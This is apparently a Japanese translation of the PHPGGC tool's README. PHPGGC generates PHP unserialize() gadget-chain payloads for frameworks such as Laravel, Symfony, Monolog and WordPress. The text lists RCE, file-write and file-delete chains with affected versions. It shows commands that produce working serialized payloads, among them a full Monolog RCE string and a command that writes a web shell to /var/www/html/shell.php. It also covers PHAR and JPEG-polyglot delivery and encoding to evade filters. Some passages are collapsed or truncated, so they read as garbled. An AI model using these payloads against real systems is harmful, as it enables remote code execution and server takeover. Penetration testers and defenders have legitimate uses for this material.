
PHPGGCは、PHPのunserialize()ペイロードのライブラリと、それらをコマンドラインまたはプログラムで生成するツールです。
PHPGGC は、unserialize() ペイロードのライブラリであり、コマンドラインまたはプログラムからそれらを生成するためのツールです。 ソースコードを持っていないウェブサイトで unserialize に遭遇した場合や、単にエクスプロイトを構築しようとしている場合、このツールを使用すると、ガジェットを見つけて組み合わせるという面倒な手順を踏むことなくペイロードを生成できます。これは frohoff の ysoserial の PHP 版に相当するものと考えることができます。 現在、このツールは CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、Slim、SwiftMailer、Symfony、Wordpress、Yii、ZendFramework などのガジェットチェーンをサポートしています。
PHPGGC を実行するには PHP >= 5.6 が必要です。
./phpggc -l を実行すると、ガジェットチェーンの一覧を取得できます:
$ ./phpggc -l
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Bitrix/RCE1 17.x.x <= 22.0.300 RCE (Function call) __destruct
CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct
CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct
CodeIgniter4/FR1 4.0.0 <= 4.3.6 File read __toString *
CodeIgniter4/RCE1 4.0.2 <= 4.0.3 RCE (Function call) __destruct
CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE3 4.0.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE4 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
CodeIgniter4/RCE5 -4.1.3+ RCE (Function call) __destruct
CodeIgniter4/RCE6 -4.1.3 <= 4.2.10+ RCE (Function call) __destruct
Doctrine/FW1 ? File write __toString *
Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct *
Doctrine/RCE1 1.5.1 <= 2.7.2 RCE (PHP code) __destruct *
Doctrine/RCE2 1.11.0 <= 2.3.2 RCE (Function call) __destruct *
Dompdf/FD1 1.1.1 <= ? File delete __destruct *
...
ガジェットチェーンのフィルタリング:
$ ./phpggc -l laravel
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Laravel/RCE1 5.4.27 RCE (Function call) __destruct
Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString
Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct *
Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct *
Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct *
Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct
各ガジェットチェーンには以下があります:
__destruct()、__toString()、offsetGet() など)チェーンに関する詳細情報を取得するには、-i を使用します:
$ ./phpggc -i symfony/rce1
Name : Symfony/RCE1
Version : 3.3
Type : rce
Vector : __destruct
Informations :
Exec through proc_open()
./phpggc Symfony/RCE1 <command>
RCE ガジェットの場合、実行されるコマンドには、ガジェットの動作方法に応じて 3 つのフォーマットタイプがあります:
./phpggc Symfony/RCE1 id./phpggc Symfony/RCE2 'phpinfo();'./phpggc Symfony/RCE4 system idチェーンを選択したら、./phpggc <gadget-chain> [parameters] を実行してペイロードを取得します。
たとえば、Monolog のペイロードを取得するには、次のようにします:
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
SwiftMailer を使用したファイル書き込みの場合は、次のようにします:
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
--wrapper(-w)オプションを使用すると、次の関数を含む PHP ファイルを定義できます:
process_parameters(array $parameters):generate() の直前に呼び出され、パラメータを変更できますprocess_object(object $object):serialize() の直前に呼び出され、オブジェクトを変更できますprocess_serialized(string $serialized):serialize() の直後に呼び出され、シリアライズされた文字列を変更できますたとえば、脆弱なコードが次のようになっている場合:
<?php
$data = unserialize($_GET['data']);
print $data['message'];
次のようにラップして、__toString() チェーンを使用できます:
<?php
# /tmp/my_wrapper.php
function process_object($object)
{
return array(
'message' => $object
);
}
そして、phpggc を次のように呼び出します:
$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}
BlackHat US 2018 で、@s_n_t は PHPGGC のフォークである PHARGGC をリリースしました。これは、シリアライズされたペイロードを構築する代わりに、PHAR ファイル全体を構築します。この PHAR ファイルにはシリアライズされたデータが含まれており、さまざまなエクスプロイト手法(file_exists、fopen など)に使用できます。論文はこちらです。
PHAR アーカイブには PHAR、TAR、ZIP の 3 つの異なる形式があります。PHPGGC はその 3 つすべてをサポートしています。
ポリグロットファイルは --phar-jpeg(-pj)を使用して生成できます。他のオプションも利用可能です(-h を使用)。
$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id
引数を使用すると、ペイロードの出力方法を変更できます。たとえば、-u は URL エンコードし、-b は base64 に変換します。
ペイロードには NULL バイトが含まれることが多く、そのままコピー/ペーストすることはできません。ペイロードを読みやすく保つソフト URL エンコードには -s を使用してください。
エンコーダーはチェーンできるため、順序が重要です。たとえば、./phpggc -b -u -u slim/rce1 system id はペイロードを base64 エンコードし、その後 2 回 URL エンコードします。
PHPGGC は --fast-destruct(-f)フラグを実装しています。これにより、シリアライズされたオブジェクトがスクリプトの最後ではなく、unserialize() 呼び出しの直後に破棄されるようになります。信頼性が向上するため、すべての __destruct ベクターでこれを使用することをお勧めします。たとえば、PHP スクリプトが呼び出し後に例外を発生させた場合、オブジェクトの __destruct メソッドが呼び出されない可能性があります。これはエンコーダーと同時に処理されるため、最初に設定する必要があります。
$ ./phpggc -f -s slim/rce1 system id
a:2:{i:7;O:18:"Slim\Http\Response":2:{s:10:"...
標準の s の代わりに S シリアライズ形式を使用します。これにより、すべての非 ASCII 文字が 16 進表現に置き換えられます:
s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"A\00B\09\0D";
これは、何らかの理由で非 ASCII 文字が許可されない場合(たとえば NULL バイト)に役立ちます。ペイロードには通常それらが含まれるため、これによりペイロードが ASCII 値のみで構成されるようになります。
注:これは実験的な機能であり、場合によっては機能しない可能性があります。